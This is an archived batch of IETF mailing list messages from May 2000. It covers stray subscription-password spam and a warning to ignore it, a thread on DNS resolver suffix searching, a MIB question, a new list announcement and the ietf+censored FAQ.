	for <ietf@ietf.org>; Tue, 30 May 2000 10:04:39 -0400 (EDT)
Received: from review.postmasterdirect.com ([10.16.35.1]) by NetCreations.com with SMTP id <26154625-28588>; Tue, 30 May 2000 10:04:33 -0400
From: "SubscriptionBot" <support@NetCreations.com>
To: <ietf@ietf.org>
Subject: Your subscription list review password
Message-Id: <00May30.100433-0400_edt.26154625-28588+4@NetCreations.com>
Date: 	Tue, 30 May 2000 10:04:29 -0400
X-Loop: ietf@ietf.org

Your subscription profile is ready for review!  Please click on the link below
to enter your account:

http://review.postmasterdirect.com/l?e=ietf@ietf.org&p=6886

If the link above doesn't work for you, please visit

http://review.postmasterdirect.com/l.mhtml

and enter your email address and password.  Your password is: 6886


Thank you!




From owner-ietf-outbound  Tue May 30 10:21:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA29556
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 10:20:03 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29312
	for <ietf@ietf.org>; Tue, 30 May 2000 10:10:04 -0400 (EDT)
Received: from wasp.inet.org ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id NAA09603;
	Tue, 30 May 2000 13:59:04 GMT
Message-Id: <4.2.0.58.20000530100857.00972890@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 30 May 2000 10:09:48 +0100
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
From: RJ Atkinson <rja@inet.org>
Subject: RE: Storage over Ethernet/IP 
Cc: ietf@ietf.org
In-Reply-To: <C7091526C06AD211A7450004AC384A350C35D21E@mwabs035.emerywor
 ld.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 18:02 29-05-00 , Dawson, Peter D wrote:
>is vulnerability and threat analysis part of the
>standardization process ??

YES (shouting intentional).

The "Security Considerations" section of every RFC ought to
contain vulnerability, threat analysis, risk mitigation,
and residual risk information.

Ran
rja@inet.org



From owner-ietf-outbound  Tue May 30 11:01:53 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA00425
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 11:00:01 -0400 (EDT)
Received: from netcreations.com (netcreations.com [208.156.32.204])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00300
	for <ietf@ietf.org>; Tue, 30 May 2000 10:53:41 -0400 (EDT)
Received: from review.postmasterdirect.com ([10.16.35.1]) by NetCreations.com with SMTP id <26154593-28590>; Tue, 30 May 2000 10:53:39 -0400
From: "SubscriptionBot" <support@NetCreations.com>
To: <ietf@ietf.org>
Subject: Your subscription list review password
Message-Id: <00May30.105339-0400_edt.26154593-28590+152@NetCreations.com>
Date: 	Tue, 30 May 2000 10:53:33 -0400
X-Loop: ietf@ietf.org

Your subscription profile is ready for review!  Please click on the link below
to enter your account:

http://review.postmasterdirect.com/l?e=ietf@ietf.org&p=6886

If the link above doesn't work for you, please visit

http://review.postmasterdirect.com/l.mhtml

and enter your email address and password.  Your password is: 6886


Thank you!




From owner-ietf-outbound  Tue May 30 11:51:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA02156
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 11:50:03 -0400 (EDT)
Received: from scoya.cnri.reston.va.us (scoya.cnri.reston.va.us [10.27.5.106])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02095
	for <ietf@ietf.org>; Tue, 30 May 2000 11:49:00 -0400 (EDT)
Date: Tue, 30 May 2000 11:48:54 -0400 (Eastern Daylight Time)
From: Steve Coya <scoya@ietf.org>
Reply-To: Steve Coya <scoya@ietf.org>
To: ietf@ietf.org
Subject: Subscription CRAP on the list
Message-ID: <Pine.WNT.3.96.1000530114703.-350837D-100000@scoya.cnri.reston.va.us>
X-X-Sender: scoya@odin.cnri.reston.va.us
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Folks,

For those who don't know better, please ignore the message sent from
support@NetCreations.com to the IETF list.

It did not originate from the IETF or the Secretariat.


Steve






From owner-ietf-outbound  Tue May 30 12:01:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA02749
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 12:00:03 -0400 (EDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02688
	for <ietf@ietf.org>; Tue, 30 May 2000 11:59:24 -0400 (EDT)
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate.mot.com (motgate 2.1) with ESMTP id IAA22494 for <ietf@ietf.org>; Tue, 30 May 2000 08:59:26 -0700 (MST)]
Received: [from il27exb01.cig.mot.com (il27exb01.cig.mot.com [136.182.15.100]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id IAA24940 for <ietf@ietf.org>; Tue, 30 May 2000 08:59:26 -0700 (MST)]
Received: from email.mot.com (160.15.82.33 [160.15.82.33]) by il27exb01.cig.mot.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id KP8KC9TW; Tue, 30 May 2000 10:59:25 -0500
Sender: stewrtrs@mothost.mot.com
Message-ID: <3933F493.2F46FEB7@email.mot.com>
Date: Tue, 30 May 2000 17:04:19 +0000
From: Randall Stewart <rstewar1@email.mot.com>
Organization: NAT
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF Mailing List <ietf@ietf.org>
Subject: New OBAST mailing list
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Dear all:
 
A mailing list has been formed to discuss a
Open Base Station Protocol (OBAST). This
mailing list is a pre-cursor to a possible upcoming
BOF. If you are interested in this discussion
please join the list by subscribing as follows:

 
Send the following command in email to:
  
  "majordomo@cig.mot.com": 

and in the body of your message

 subscribe obast-list

or 

 subscribe obast-list myemail@address

other commands understood by majordomo are:

who obast-list
info obast-list
index obast-list
get obast-day-number-from-index 

Note: You must be a member of the list to run the
      above commands

Thanks

-- 
Randall R. Stewart
Member Technical Staff
Network Architecture and Technology (NAT)
847-632-7438 fax:847-632-6733



From owner-ietf-outbound  Tue May 30 20:21:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA13638
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 20:20:02 -0400 (EDT)
Received: from redmailwall.attws.com (redmailwall.attws.com [199.108.253.115])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13312
	for <ietf@ietf.org>; Tue, 30 May 2000 19:56:54 -0400 (EDT)
Received: from viruswall.entp.attws.com (viruswall.entp.attws.com [155.176.34.36])
	by redmailwall.attws.com (8.9.3/8.9.3) with ESMTP id RAA06463
	for <ietf@ietf.org>; Tue, 30 May 2000 17:01:31 -0700 (PDT)
Received: from nwestmail.nwest.attws.com by viruswall.entp.attws.com (8.8.8/AT&T Wireless Services, Inc. V8 version 2)
	id QAA14665; Tue, 30 May 2000 16:56:19 -0700 (PDT)
Received: from lizard.nwest.mccaw.com (lizard.nwest.attws.com [141.204.54.42])
	by nwestmail.nwest.attws.com (8.8.8+Sun/8.8.8) with ESMTP id QAA21029
	for <ietf@ietf.org>; Tue, 30 May 2000 16:56:23 -0700 (PDT)
Received: (from dbunce@localhost)
	by lizard.nwest.mccaw.com (8.8.6/8.8.6) id QAA07850
	for ietf@ietf.org; Tue, 30 May 2000 16:56:21 -0700 (PDT)
Date: Tue, 30 May 2000 16:56:21 -0700 (PDT)
From: Daryl Bunce <daryl.bunce@attws.com>
Message-Id: <200005302356.QAA07850@lizard.nwest.mccaw.com>
To: ietf@ietf.org
Subject: RE: Cite on DNS-related traffic.
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


I've often wondered how much of the overload is due to 
browsers looking for XYZ.com, then looking for www.XYZ.com...
Just one of those things thought about in the wee hours.



From owner-ietf-outbound  Tue May 30 22:50:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA16730
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 22:50:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA16707
	for <ietf@ietf.org>; Tue, 30 May 2000 22:45:54 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4V2ji923132;
	Tue, 30 May 2000 22:45:44 -0400
Message-Id: <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
To: Daryl Bunce <daryl.bunce@attws.com>
cc: ietf@ietf.org
Subject: Re: Cite on DNS-related traffic. 
In-reply-to: Your message of "Tue, 30 May 2000 16:56:21 PDT."
             <200005302356.QAA07850@lizard.nwest.mccaw.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005302356.QAA07850@lizard.nwest.mccaw.com>
Date: Tue, 30 May 2000 22:45:44 -0400
X-Loop: ietf@ietf.org

On Tue, 30 May 2000 16:56:21 PDT, Daryl Bunce <daryl.bunce@attws.com>  said:
> I've often wondered how much of the overload is due to 
> browsers looking for XYZ.com, then looking for www.XYZ.com...
> Just one of those things thought about in the wee hours.

I run an off-site secondary for another .edu's DNS.  I once got
curious, and watched *WAY* too many lookups for (in quick sequence)

www.netscape.com.dept.other.edu
www.netscape.com.other.edu
www.netscape.com.edu
www.netscape.com  

No, I don't know why I got the last one, as I'm only answering for
'other.edu'.  Perhaps the host doing the queries had a sudden fit
of inspiration, saw my machine as an NS for its domain, and guessed.
Or maybe just some funky info in a DHCP config file someplace...

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Tue May 30 23:40:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA17445
	for ietf-outbound.10@ietf.org; Tue, 30 May 2000 23:40:03 -0400 (EDT)
Received: from mail2.rdc3.on.home.com (mail2.rdc3.on.home.com [24.2.9.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA17399
	for <ietf@ietf.org>; Tue, 30 May 2000 23:35:38 -0400 (EDT)
Received: from intruder ([24.114.219.42]) by mail2.rdc3.on.home.com
          (InterMail vM.4.01.02.00 201-229-116) with SMTP
          id <20000531033525.NZO1114.mail2.rdc3.on.home.com@intruder>;
          Tue, 30 May 2000 20:35:25 -0700
From: Garreth Jeremiah <garrethj@home.com>
Reply-To: garrethj@home.com
To: Valdis.Kletnieks@vt.edu, Daryl Bunce <daryl.bunce@attws.com>
Subject: Re: Cite on DNS-related traffic.
Date: Tue, 30 May 2000 23:33:13 -0400
X-Mailer: KMail [version 1.0.29]
Content-Type: text/plain
Cc: ietf@ietf.org
References: <200005302356.QAA07850@lizard.nwest.mccaw.com> <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
In-Reply-To: <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
MIME-Version: 1.0
Message-Id: <00053023364500.02459@intruder>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id XAA17399
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Excuse me if this is answering the wron question here, but.....
This is just cycling through the clients "DNS Suffix search order", which is
clearly set to: dept.other.edu

it may be additionally set up for the others also, as the implimentation of the
resolver is obviously client dependent.  After trying its "domain suffix's" it
will attempt to resolve the bare form of the host domain pair.

If I am totally off the mark here - sorry - it's late and the wife is
screaming for me to sleep as I have an early start tomorrow.

Garreth J Jeremiah
IT Specialist (Security)

 On Tue, 30 May 2000, Valdis.Kletnieks@vt.edu
wrote: > On Tue, 30 May 2000 16:56:21 PDT, Daryl Bunce <daryl.bunce@attws.com> 
said: > > I've often wondered how much of the overload is due to 
> > browsers looking for XYZ.com, then looking for www.XYZ.com...
> > Just one of those things thought about in the wee hours.
> 
> I run an off-site secondary for another .edu's DNS.  I once got
> curious, and watched *WAY* too many lookups for (in quick sequence)
> 
> www.netscape.com.dept.other.edu
> www.netscape.com.other.edu
> www.netscape.com.edu
> www.netscape.com  
> 
> No, I don't know why I got the last one, as I'm only answering for
> 'other.edu'.  Perhaps the host doing the queries had a sudden fit
> of inspiration, saw my machine as an NS for its domain, and guessed.
> Or maybe just some funky info in a DHCP config file someplace...
> 
> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech



From owner-ietf-outbound  Wed May 31 00:10:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA17821
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 00:10:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA17735
	for <ietf@ietf.org>; Wed, 31 May 2000 00:01:24 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4V3mM931162;
	Tue, 30 May 2000 23:48:22 -0400
Message-Id: <200005310348.e4V3mM931162@black-ice.cc.vt.edu>
To: garrethj@home.com
cc: ietf@ietf.org
Subject: Re: Cite on DNS-related traffic. 
In-reply-to: Your message of "Tue, 30 May 2000 23:33:13 EDT."
             <00053023364500.02459@intruder> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005302356.QAA07850@lizard.nwest.mccaw.com> <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
            <00053023364500.02459@intruder>
Date: Tue, 30 May 2000 23:48:21 -0400
X-Loop: ietf@ietf.org

On Tue, 30 May 2000 23:33:13 EDT, Garreth Jeremiah said:
> Excuse me if this is answering the wron question here, but.....
> This is just cycling through the clients "DNS Suffix search order", which is
> clearly set to: dept.other.edu

Yes.  However, it's unclear (to me, at least) whether either
of the following should be true by default:

a) That it should try 'other.edu' and 'edu', if suffixing with the
given suffix fails.

b) That it should do any rewriting at all if there's a '.' already
in the name.

Yes, I know that you need both of these to make 'foobar.chem'
resolve to 'foobar.chem.other.edu' if you're in a *.phys.other.edu
subnet...  But there's gotta be a way to avoid this behavior as
a default...

/Valdis (who thinks things would work a LOT better overall if everybody
just kept their machines configured right and installed recent patches
once a year or so.... ;)



From owner-ietf-outbound  Wed May 31 12:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA15738
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 12:30:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15549
	for <ietf@ietf.org>; Wed, 31 May 2000 12:24:44 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05262;
	Wed, 31 May 2000 09:23:15 -0700 (PDT)
Message-ID: <39353C42.BDBF54AC@isi.edu>
Date: Wed, 31 May 2000 09:22:26 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Valdis.Kletnieks@vt.edu
CC: garrethj@home.com, ietf@ietf.org
Subject: Re: Cite on DNS-related traffic.
References: <200005302356.QAA07850@lizard.nwest.mccaw.com> <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
	            <00053023364500.02459@intruder> <200005310348.e4V3mM931162@black-ice.cc.vt.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



Valdis.Kletnieks@vt.edu wrote:
> 
> On Tue, 30 May 2000 23:33:13 EDT, Garreth Jeremiah said:
> > Excuse me if this is answering the wron question here, but.....
> > This is just cycling through the clients "DNS Suffix search order", which is
> > clearly set to: dept.other.edu

Not necessarily. Resolvers also get this information from the
host's current fully-qualified name.

> ...However, it's unclear (to me, at least) whether either
> of the following should be true by default:
> 
> a) That it should try 'other.edu' and 'edu', if suffixing with the
> given suffix fails.
>
> b) That it should do any rewriting at all if there's a '.' already
> in the name.
> 
> Yes, I know that you need both of these to make 'foobar.chem'
> resolve to 'foobar.chem.other.edu' if you're in a *.phys.other.edu
> subnet...  But there's gotta be a way to avoid this behavior as
> a default...

It may be useful to distinguish resolver behavior from browser behavior.

If the host has no more specific (explicit) resolver information,
the current fully-qualified hostname, minus the first component,
is used as the 'working suffix'. Attempts are made, with increasing
generality, to use this suffix on any partially qualified request.

This explains:

	- why it starts with dept.other.edu as the trailer
	- why it retries with increasingly general variants

In at least one resolver (FreeBSD, by quick check), there's a parameter
called 'ndots' - if the request contains that number of dots (defaulted
to 1), the request is supposed to happen as if already fully qualified.
This can be overridden by appending a '.' to the name, explicitly
indicating that it is already fully qualified.

I would be curious to see if your lookup was as inefficient on
'www.netscape.com.'

Joe



From owner-ietf-outbound  Wed May 31 14:01:45 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA18246
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 14:00:03 -0400 (EDT)
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA17983
	for <ietf@ietf.org>; Wed, 31 May 2000 13:52:48 -0400 (EDT)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id NAA34271;
	Wed, 31 May 2000 13:52:47 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 31 May 2000 13:52:47 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <200005311752.NAA34271@khavrinen.lcs.mit.edu>
To: Valdis.Kletnieks@vt.edu
Cc: garrethj@home.com, ietf@ietf.org
Subject: Re: Cite on DNS-related traffic. 
In-Reply-To: <200005310348.e4V3mM931162@black-ice.cc.vt.edu>
References: <200005302356.QAA07850@lizard.nwest.mccaw.com>
	<200005310245.e4V2ji923132@black-ice.cc.vt.edu>
	<00053023364500.02459@intruder>
	<200005310348.e4V3mM931162@black-ice.cc.vt.edu>
X-Loop: ietf@ietf.org

<<On Tue, 30 May 2000 23:48:21 -0400, Valdis.Kletnieks@vt.edu said:

> Yes.  However, it's unclear (to me, at least) whether either
> of the following should be true by default:

> a) That it should try 'other.edu' and 'edu', if suffixing with the
> given suffix fails.

This should not be true, but is historic behavior on the part of
several very common resolvers.  (Particularly, this is the behavior
one gets with an old BSD resolver all the time, or with a newer BSD
resolver when it's misconfigured.)

Have a look at
<http://khavrinen.lcs.mit.edu/wollman/dns-cache-week.png> and
<http://khavrinen.lcs.mit.edu/wollman/dns-errors-week.png> for an
interesting look at what one of our major resolvers does.  (For
hysterical raisins, our main name servers have historically been
name-resolution servers for low-end clients.)  (Yes, I know that
``lame server'' is not an actual DNS protocol error, it's a
configuration error, but the operational result is the same: we sent a
query and got an unhelpful response.)

-GAWollman

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick



From owner-ietf-outbound  Wed May 31 14:10:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA18666
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 14:10:02 -0400 (EDT)
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18051
	for <ietf@ietf.org>; Wed, 31 May 2000 13:55:55 -0400 (EDT)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id NAA34288;
	Wed, 31 May 2000 13:55:42 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 31 May 2000 13:55:42 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <200005311755.NAA34288@khavrinen.lcs.mit.edu>
To: Valdis.Kletnieks@vt.edu
Cc: ietf@ietf.org
Subject: Re: Cite on DNS-related traffic. 
In-Reply-To: <200005310245.e4V2ji923132@black-ice.cc.vt.edu>
References: <200005302356.QAA07850@lizard.nwest.mccaw.com>
	<200005310245.e4V2ji923132@black-ice.cc.vt.edu>
X-Loop: ietf@ietf.org

<<On Tue, 30 May 2000 22:45:44 -0400, Valdis.Kletnieks@vt.edu said:

> No, I don't know why I got the last one, as I'm only answering for
> 'other.edu'.  Perhaps the host doing the queries had a sudden fit
> of inspiration, saw my machine as an NS for its domain, and guessed.

Many people mistakenly assume that any name server which serves their
domain can be configured in their stub resolver.  Recent versions of
BIND can be configured to answer ``no'' to such queries.  (We don't
want to do that here because there are far too many clients to be
changed, almost none of which use DHCP.)

-GAWollman




From owner-ietf-outbound  Wed May 31 14:20:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA19116
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 14:20:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18229
	for <ietf@ietf.org>; Wed, 31 May 2000 14:00:01 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4VHwe932082;
	Wed, 31 May 2000 13:58:40 -0400
Message-Id: <200005311758.e4VHwe932082@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Joe Touch <touch@ISI.EDU>
cc: garrethj@home.com, ietf@ietf.org
Subject: Re: Cite on DNS-related traffic. 
In-reply-to: Your message of "Wed, 31 May 2000 09:22:26 PDT."
             <39353C42.BDBF54AC@isi.edu> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005302356.QAA07850@lizard.nwest.mccaw.com> <200005310245.e4V2ji923132@black-ice.cc.vt.edu> <00053023364500.02459@intruder> <200005310348.e4V3mM931162@black-ice.cc.vt.edu>
            <39353C42.BDBF54AC@isi.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 31 May 2000 13:58:38 -0400
X-Loop: ietf@ietf.org

On Wed, 31 May 2000 09:22:26 PDT, Joe Touch said:
> I would be curious to see if your lookup was as inefficient on
> 'www.netscape.com.'

I have no idea - the DNS in question is an off-campus secondary run as
a favor for somebody - the university in question is about 9 hours drive
from here.  As such, if they did an efficient lookup, I'd never see the
packet, so I dont know. ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech




From owner-ietf-outbound  Wed May 31 15:40:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA21792
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 15:40:03 -0400 (EDT)
Received: from mail3.cai.com (mail3.cai.com [141.202.248.42])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21676
	for <ietf@ietf.org>; Wed, 31 May 2000 15:36:08 -0400 (EDT)
Received: by usilms52.cai.com with Internet Mail Service (5.5.2650.21)
	id <MATY0YCA>; Wed, 31 May 2000 15:16:43 -0400
Message-ID: <89420AA1C304D411AE7C009027AA4DE77F2829@usilms03.cai.com>
From: "Pawluk, Matthew" <Matthew.Pawluk@ca.com>
To: ietf@ietf.org
Subject: MIBII - ifOperStatus of 5
Date: Wed, 31 May 2000 15:17:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Can anyone inform me of what an ifOperStatus of 5 translates to?

Thanks in advance

Matthew Pawluk                                     
Network Management Development
Computer Associates International, Inc.   
Mail: matthew.pawluk@ca.com
Tel: +1 (631) 342-3753
1 Computer Associates Plaza                               
Islandia, NY 11788
USA




From owner-ietf-outbound  Wed May 31 19:20:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA26934
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 19:20:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26893
	for <ietf@ietf.org>; Wed, 31 May 2000 19:15:01 -0400 (EDT)
Received: (from hta@localhost)
	by dokka.maxware.no (8.9.3/8.9.3) id BAA23019
	for ietf@ietf.org; Thu, 1 Jun 2000 01:15:02 +0200
Date: Thu, 1 Jun 2000 01:15:02 +0200
From: Harald Tveit Alvestrand <hta@dokka.maxware.no>
Message-Id: <200005312315.BAA23019@dokka.maxware.no>
To: ietf@ietf.org
Subject: FAQ: The IETF+Censored list
X-Loop: ietf@ietf.org


                        The IETF+Censored mailing list
                                       
   At times, the IETF list is subject to debates that have little to do
   with the purposes for which the IETF list was created. Some people
   would appreciate a "quieter" forum for the relevant debates that take
   place, but the IETF's policy of openness has so far prevented the IETF
   from imposing any censorship policy on the IETF@ietf.org list.
   
   To give people an alternative, there is a list called
   "ietf+censored@alvestrand.no".
   
   This list is a sublist (that is, it gets the same messages as) the
   open IETF discussion list. However, this list will not forward all
   messages; in particular, the filters have been set so that persons and
   discussions that are, in the view of Harald Alvestrand, irrelevant to
   the IETF list are not forwarded.
   
   Because this filter is automated, the criteria include:
     * Well known troublemakers
     * Well known crosspostings
     * Subjects that have led to recent non-conclusive exchanges
     * Some ways to say "unsubscribe"
       
   To join the list, [1]send the word "subscribe" in the BODY of a
   message to ietf+censored-request@alvestrand.no (the URL here is an RFC
   2368 mailto URL that does the Right Thing).
   
   To unsubscribe, [2]send the word "unsubscribe" in the BODY of a
   message to ietf+censored-request@alvestrand.no. Do not send to the
   list - your message will be filtered!
   (members of the main IETF list itself must follow instructions for
   that list, of course. You are only a member of ietf+censored if there
   is a comment on the bottom of your IETF list mail saying that the
   message has been sent through the ietf+censored list.)
   
   For fun, there is a special list for the rejected messages:
   ietf+censored-rejects@alvestrand.no - subscribe in the same fashion,
   by [3]mail to ietf+censored-rejects-request@alvestrand.no
   
   By public request, the current set of filters are listed at
   [4]http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters
   
   Some statistics on postings, which may be useful in getting a
   perspective on the effects of the filter, are at
   [5]posting-counts.html (started Oct 14, 1998).
   
   This page is http://www.alvestrand.no/ietf+censored.html, and is
   posted monthly in text form to ietf@ietf.org
     _________________________________________________________________
   
   Harald Tveit Alvestrand [6]< Harald@Alvestrand.no>

References

   1. mailto:ietf+censored-request@alvestrand.no?body=subscribe
   2. mailto:ietf+censored-request@alvestrand.no?body=unsubscribe
   3. mailto:ietf+censored-rejects-request@alvestrand.no?body=subscribe
   4. http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters
   5. http://www.alvestrand.no/posting-counts.html
   6. mailto:harald@alvestrand.no



From owner-ietf-outbound  Wed May 31 20:00:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA27734
	for ietf-outbound.10@ietf.org; Wed, 31 May 2000 20:00:02 -0400 (EDT)
Received: from WVNVM.WVNET.EDU (wvnvm.wvnet.edu [129.71.2.4])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27605
	for <ietf@ietf.org>; Wed, 31 May 2000 19:53:51 -0400 (EDT)
Received: from gsa00315 [129.71.230.102] by WVNVM.WVNET.EDU (IBM VM SMTP Level 310) via TCP with SMTP ; Wed, 31 May 2000 19:54:03 EDT
From: "John Lambey" <gsa00315@mail.wvnet.edu>
To: <ietf@ietf.org>
Subject: Free Shopping Cart
Date: Wed, 31 May 2000 19:53:28 -0400
Message-ID: <01bfcb5b$6c12d820$66e64781@gsa00315>
